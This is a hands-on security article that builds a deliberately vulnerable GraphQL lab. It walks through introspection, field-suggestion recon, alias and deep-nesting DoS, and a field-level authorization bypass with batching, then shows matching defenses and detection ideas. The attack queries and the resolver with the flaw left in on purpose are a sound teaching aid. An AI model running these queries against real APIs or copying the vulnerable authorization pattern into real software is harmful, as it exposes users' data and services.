Exposed GraphQL introspection plus unbounded batching lets an attacker map your entire API schema, locate hidden sensitive fields, and exfiltrate data—often in under ten minutes. This article walks you through building a deliberately vulnerable GraphQL lab, chaining introspection, depth abuse, and field-level authorization bypasses step by step, then locking it all down with introspection restrictions, cost limits, persisted queries, and per-field authorization. Every attack has a matching defense you can verify in the same session.
Traditional REST API security has a well-established playbook: enumerate endpoints, test each verb, apply rate limits per URL. GraphQL throws most of that out the window. You’re not attacking a fixed set of endpoints—you’re attacking a probabilistic query engine wrapped in business logic, one that lets the client define the shape and cost of every response. A single POST to /graphql can carry dozens of aliased operations or an entire batch of queries, and a single introspection request can hand over your full schema design. The OWASP API Security Top 10 (2023) ranks Broken Object Level Authorization first, and GraphQL’s resolver model makes that failure mode particularly easy to ship.
This is a hands-on lab for mid-level security engineers and blue teams. You’ll attack a vulnerable target you host yourself, then harden it and verify each fix. If you’ve followed our API security coverage—XXE, request smuggling, CORS misconfiguration—this sits squarely in that cluster: client-controlled input meeting server-side trust assumptions.
TL;DR: Yes — Exposed Introspection Plus Unbounded Batching Lets Attackers Map and Abuse Your GraphQL API in Minutes
The attack chain is short: run an introspection query to dump every type and field; use error-based field suggestions to recover the schema even where introspection is disabled; fan out aliased and deeply nested queries to exfiltrate data or exhaust resolver resources; and pack authorization-bypassing operations into one batched request that your rate limiter counts as a single hit. The defenses are equally direct: disable or restrict introspection in production, enforce query depth and cost limits, move to persisted queries with operation allowlisting, and implement per-field authorization. Everything below proves both halves.
Lab Setup: Build a Vulnerable GraphQL Target with Docker
We’ll spin up a deliberately broken Apollo Server 4 app with users, orders, and resolvers that check permissions only at the object level. Create a project directory with these files:
package.json
{
"name": "vulnerable-graphql-lab",
"version": "1.0.0",
"type": "module",
"scripts": { "start": "node server.js" },
"dependencies": {
"@apollo/server": "^4.9.0",
"graphql": "^16.8.0"
}
}
server.js
import { ApolloServer } from "@apollo/server";
import { startStandaloneServer } from "@apollo/server/standalone";
const db = {
users: [
{ id: "1", username: "alice", email: "alice@corp.local", role: "admin", apiKey: "sk_live_admin_9f3a1" },
{ id: "2", username: "bob", email: "bob@corp.local", role: "user", apiKey: "sk_live_user_7b2c4" }
],
orders: [
{ id: "101", total: 250.00, owner: { id: "1" } },
{ id: "102", total: 89.99, owner: { id: "2" } }
]
};
const typeDefs = `#graphql
type User {
id: ID!
username: String!
email: String!
role: String!
apiKey: String! # sensitive — should never be broadly queryable
orders: [Order!]!
}
type Order {
id: ID!
total: Float!
owner: User!
}
type Query {
me: User # authz check lives HERE — object level only
user(id: ID!): User
orders: [Order!]!
}`;
// Object-level authz only: checks the requested user id,
// never which fields are being pulled through it.
const resolvers = {
Query: {
me: (_, __, ctx) => {
if (!ctx.userId) throw new Error("Unauthorized");
return db.users.find(u => u.id === ctx.userId);
},
user: (_, { id }, ctx) => {
if (!ctx.userId) throw new Error("Unauthorized");
return db.users.find(u => u.id === id);
},
orders: () => db.orders
},
User: {
orders: (user) => db.orders.filter(o => o.owner.id === user.id)
}
};
const server = new ApolloServer({ typeDefs, resolvers });
const { url } = await startStandaloneServer(server, {
listen: { port: 4000 },
context: async ({ req }) => ({ userId: req.headers["x-user-id"] })
});
console.log(`Listening at ${url}`);
Run it:
npm install && node server.js
# Listening at http://localhost:4000/
Note the flaw now, because we’ll exploit it later: the user resolver checks only that some user is authenticated. It never restricts fields like email, role, or apiKey. Anyone with any valid session can request any user with every field.
Step 1: Enumerate the Schema with Introspection Queries
Introspection is GraphQL’s built-in self-documentation: a meta-query that returns the full type system—every type, field, argument, and deprecation. In development it powers tools like GraphiQL and Apollo Studio. In production, it’s a blueprint handed to your attacker.
Fire a full introspection query with curl:
curl -s http://localhost:4000/ -H "Content-Type: application/json"
-H "x-user-id: 2"
-d '{"query":"query IntrospectionQuery { __schema { queryType { name } types { name kind fields { name type { name kind ofType { name } } } } } }"}'
| jq '.data.__schema.types[] | select(.name == "User")'
Excerpt of the output:
{
"name": "User",
"kind": "OBJECT",
"fields": [
{ "name": "id", ... },
{ "name": "username", ... },
{ "name": "email", ... },
{ "name": "role", ... },
{ "name": "apiKey", ... },
{ "name": "orders", ... }
]
}
In one request, the attacker now knows the apiKey field exists on User—something no documentation was ever meant to reveal. In practice, use InQL (a Burp Suite extension and standalone tool) or Graphw00f for fingerprinting; both automate this enumeration and produce clean schema dumps. OWASP’s GraphQL Cheat Sheet lists introspection as a reconnaissance control that must be explicitly managed.
Step 2: Chain Recon — Map Hidden Fields with Field Suggestions
Here’s the part most teams miss: disabling introspection does not disable reconnaissance. When you query a field that doesn’t exist, graphql-js—the reference implementation used by Apollo, graphql-yoga, and most of the ecosystem—helps you out with error suggestions:
curl -s http://localhost:4000/ -H "Content-Type: application/json"
-H "x-user-id: 2"
-d '{"query":"{ user(id: "1") { passwrd } }"}'
# {"errors":[{"message":"Cannot query field "passwrd" on type "User". Did you mean "password" or "passwordHash"?"}]}
That “Did you mean” hint is a brute-force oracle. Tools like Clairvoyance automate it, recovering a workable schema even with introspection disabled. Clairvoyance was itself demonstrated at DEF CON against major production APIs—this is not theoretical. Combine suggestions with documentation leaks (GraphiQL or Voyager endpoints left exposed) and client-side schema copies shipped in bundles, and an “introspection-off” posture buys you very little on its own. This directly answers a common question—should introspection be disabled in production? Yes, as defense in depth, but never as your only control.
Step 3: Query Depth and Aliasing Abuse for Data Exfiltration and DoS
GraphQL lets a client request the same field many times via aliases, and nest fields arbitrarily deep. Two problems follow: rate limits that count requests are trivially defeated, and deeply nested queries can pin CPU and memory through recursive resolvers.
Alias fan-out — 100 operations, one request, one rate-limit hit:
{"query":"query { a1: user(id:"1"){email apiKey} a2: user(id:"2"){email apiKey} a3: user(id:"1"){email apiKey} ... a100: user(id:"2"){email apiKey} }"}
Deep nesting — exponential resolver execution:
{"query":"{ user(id:"1"){ orders { owner { orders { owner { orders { owner { orders { owner { id } } } } } } } } }"}
On our lab box, a depth-12 nesting query against the User.orders → Order.owner cycle pushed a single Node.js process to sustained 90%+ CPU and multi-second latency—no authentication bypass required, just one legitimate session and one request. This is precisely the class of vulnerability behind the 2018 GraphQL DoS waves and why CISA’s secure-by-design guidance pushes vendors toward resource-cost controls at the application layer. If your WAF or rate limiter is counting requests, it is measuring the wrong unit.
Step 4: Bypass Field-Level Authorization with Fragments and Batching
Now the authorization flaw. Our resolvers authorize at the object level—”is this user allowed to call user(id) at all?”—but never at the field level. The result:
curl -s http://localhost:4000/ -H "Content-Type: application/json"
-H "x-user-id: 2"
-d '{"query":"{ user(id:"1") { username email role apiKey } }"}'
# {"data":{"user":{"username":"alice","email":"alice@corp.local",
# "role":"admin","apiKey":"sk_live_admin_9f3a1"}}}
Bob just read Alice’s admin API key. No exploit chain, no privilege escalation trick—one query. Fragments make it worse at scale, because sensitive field pulls can be hidden inside reusable fragments, and batched requests can chain operations server-side while the client pays for one request:
[
{"query":"{ me { id role } }"},
{"query":"query($id: ID!){ user(id:$id){ apiKey } }",
"variables":{"id":"1"}}
]
Two operations, one HTTP request, one rate-limit token—permission-checked independently per operation by most naively configured servers, or not at all if batching middleware blindly executes the array. This is how batching bypasses rate limiting: the cost model assumes request-level granularity while the attacker operates at operation-level granularity.
What Went Wrong: Root Causes Behind Each Attack
- Step 1–2 (introspection and suggestions): trust in the client. The server assumes schema knowledge is harmless, and the reference implementation leaks suggestions by default. Both are defaults, not bugs—your job is to change them.
- Step 3 (depth/aliasing DoS): no query complexity model. The server executes whatever parse tree the client sends, with no cost accounting before execution.
- Step 4 (authz bypass): per-resolver authorization gaps. Object-level checks pass; field-level checks don’t exist. Authorization was bolted onto resolvers instead of enforced declaratively on the schema.
- Batching: request-level rate limiting applied to an operation-level protocol.
Defense 1: Disable or Restrict Introspection in Production
Apollo Server (v3/v4) accepts introspection: false; graphql-yoga uses a plugin:
// Apollo Server 4
const server = new ApolloServer({
typeDefs,
resolvers,
introspection: false, // default true — flip it in prod
validationRules: [createGraphQLErrorSuggestionSuppressor()]
});
// graphql-yoga
import { createYoga, disableIntrospection } from "graphql-yoga";
const yoga = createYoga({
plugins: [process.env.NODE_ENV === "production" ? disableIntrospection() : null]
});
Re-run the Step 1 query: the introspection request now fails validation. To kill the Step 2 suggestion oracle, strip the “Did you mean” hints—Apollo lets you override the error formatter; alternatively block __schema and __type at a gateway like Apollo Router or Envoy for allowlisted clients only (some internal tooling legitimately needs introspection).
Defense 2: Cost Analysis and Query Depth Limits
Depth alone is a blunt instrument; cost analysis weights fields by their actual expense. Use graphql-cost-analysis for weighted limits and graphql-depth-limit for nesting:
import depthLimit from "graphql-depth-limit";
import costAnalysis from "graphql-cost-analysis";
const server = new ApolloServer({
typeDefs,
resolvers,
validationRules: [
depthLimit(10), // hard ceiling
costAnalysis({
maximumCost: 1000,
defaultCost: 1,
onComplete: (cost) => console.log("query cost:", cost)
})
]
});
Annotate expensive fields in SDL:
type Query {
orders: [Order!]! @cost(complexity: 5, multipliers: ["first"])
}
Before/after, using the depth-12 query from Step 3:
# Before: 200 OK, multi-second CPU-bound execution
# After:
{"errors":[{"message":"Query exceeds maximum depth of 10."}]}
A safe max depth is typically 7–10, but derive it from your real client queries—inspect your production traffic, take the 99th-percentile nesting depth, and set the limit slightly above it. That’s how depth and cost limits prevent GraphQL DoS: they reject malicious query shapes before any resolver executes.
Defense 3: Persisted Queries and Operation Allowlisting
Automatic Persisted Queries (APQ), an Apollo convention, has clients send only a hash of the operation; the server returns it pre-registered. The stronger variant is full allowlisting: register every operation the build pipeline knows about, and reject everything else.
// Express middleware — allowlist enforcement
import { header } from "express-validator";
import registeredOps from "./persisted-queries.json" assert { type: "json" };
app.post("/graphql", (req, res, next) => {
const { extensions = {} } = req.body;
const hash = extensions.persistedQuery?.sha256Hash;
if (!hash || !registeredOps[hash]) {
return res.status(400).json({
errors: [{ message: "PersistedQueryNotFound: arbitrary queries are disabled" }]
});
}
req.body.query = registeredOps[hash];
next();
});
Rejected payload for any ad-hoc query:
{"errors":[{"message":"PersistedQueryNotFound: arbitrary queries are disabled"}]}
With allowlisting, introspection, alias fan-out, and novel batched chains all die at the door—there is no attacker-supplied query text to execute. This is what persisted queries are and why they stop arbitrary query abuse: the attack surface collapses from “every syntactically valid GraphQL document” to “the operations your own clients ship.”
Defense 4: Field-Level Authorization Done Right
Move authorization out of ad-hoc resolver code and into a declarative layer. Directive-based pattern:
import { mapSchema, getDirective, MapperKind } from "@graphql-tools/utils";
function authzDirective(directiveName = "authz") {
return (schema) => mapSchema(schema, {
[MapperKind.OBJECT_FIELD]: (fieldConfig) => {
const directive = getDirective(schema, fieldConfig, directiveName)?.[0];
if (directive?.requires) {
const { resolve = (p) => p } = fieldConfig;
fieldConfig.resolve = (parent, args, ctx, info) => {
if (!ctx.user?.roles?.includes(directive.requires)) {
throw new Error(`Forbidden: field requires role ${directive.requires}`);
}
return resolve(parent, args, ctx, info);
};
}
return fieldConfig;
}
});
}
const typeDefs = `#graphql
directive @authz(requires: String!) on FIELD_DEFINITION
type User {
id: ID!
username: String!
email: String! @authz(requires: "self_or_admin")
role: String! @authz(requires: "admin")
apiKey: String! @authz(requires: "self_or_admin")
}`;
For comprehensive coverage, pair this with graphql-shield or (in TypeScript shops) the GraphQL.org authorization patterns. Verify by re-running the Step 4 query as user 2: the apiKey field now returns a forbidden error, while username still resolves—proving the check is field-scoped, not object-scoped.
Blue-Team Checklist and Detection Ideas
Detection: GraphQL attacks are noisy if you log the right signals.
- Log and alert on introspection attempts: any query containing
__schemaor__typehitting production is recon. One occurrence is curiosity; a burst is an attack. - Monitor batching anomalies: alert when request bodies contain arrays of operations, or when a single request carries more than N aliases of the same root field (regex for
w+:s*user(patterns). - Track query depth and cost in telemetry: log computed cost per request; alert on p95 spikes or any request exceeding your configured maximum (they should be rejected, but attempted rejections still indicate intent).
- Watch error-suggestion harvesting: high rates of validation errors with near-miss field names from one session suggests Clairvoyance-style enumeration.
- Fingerprint scanners: InQL, Graphw00f, and Clairvoyance all have distinctive request signatures; share them with your WAF vendor.
Printable hardening checklist:
- [ ] Introspection disabled in production; suggestion errors suppressed
- [ ] Query depth limit (7–10) and cost analysis (budget tuned to real traffic) enforced pre-execution
- [ ] Batch size capped (≤3 operations) or batching disabled; each operation rate-limited individually
- [ ] Persisted queries / operation allowlisting enabled for all first-party clients
- [ ] Field-level authorization via directives or middleware, with tests covering sensitive fields per role
- [ ] GraphiQL, Voyager, and playground endpoints removed or auth-gated
- [ ] Alerts wired for introspection attempts, batching anomalies, and depth-limit rejections
GraphQL’s power is the client’s freedom to ask for anything. Your security model must assume that someone will. Close the schema, price the queries, register the operations, and authorize per field—then verify each control the way this lab did, against your own stack, before someone else verifies it for you.
Frequently Asked Questions
Is disabling introspection enough to secure a GraphQL API?
No. Field suggestion attacks recover the schema from validation errors, exposed GraphiQL/Voyager endpoints and client-side bundles leak schema copies, and none of it addresses authorization. Disable introspection as defense in depth, but pair it with operation allowlisting, depth/cost limits, and field-level authorization.
Does batching bypass rate limiting?
Yes. Fifty operations packed into one batched request typically count as one rate-limited request. Cap batch size (≤3 is a common ceiling), count operations individually toward limits, or eliminate arbitrary batching entirely with persisted queries.
What is a safe max query depth for GraphQL?
Typically 7–10, depending on your schema’s nesting. Measure your legitimate production queries, take the 99th-percentile depth, and enforce a limit just above it with graphql-depth-limit. Pair with cost analysis, since depth alone doesn’t capture wide alias fan-out.
How do persisted queries work?
Clients send only a SHA-256 hash of a pre-registered operation instead of query text. The server looks up the hash, executes the registered query, and rejects anything not in the allowlist with PersistedQueryNotFound. Arbitrary attacker-crafted queries never execute.
Is this lab safe and legal to run?
Only against the vulnerable instance you host locally, exactly as built above. Never run these techniques against third-party APIs—active exploitation without written authorization violates computer fraud laws in most jurisdictions, including the U.S. CFAA. Get authorization or stay in your own Docker container.
Related reading
- SSRF Lab: Exploit and Block Server-Side Request Forgery with Real Targets and Defenses
- Threat Hunting, Explained: Hypotheses, Telemetry and the Pyramid of Pain
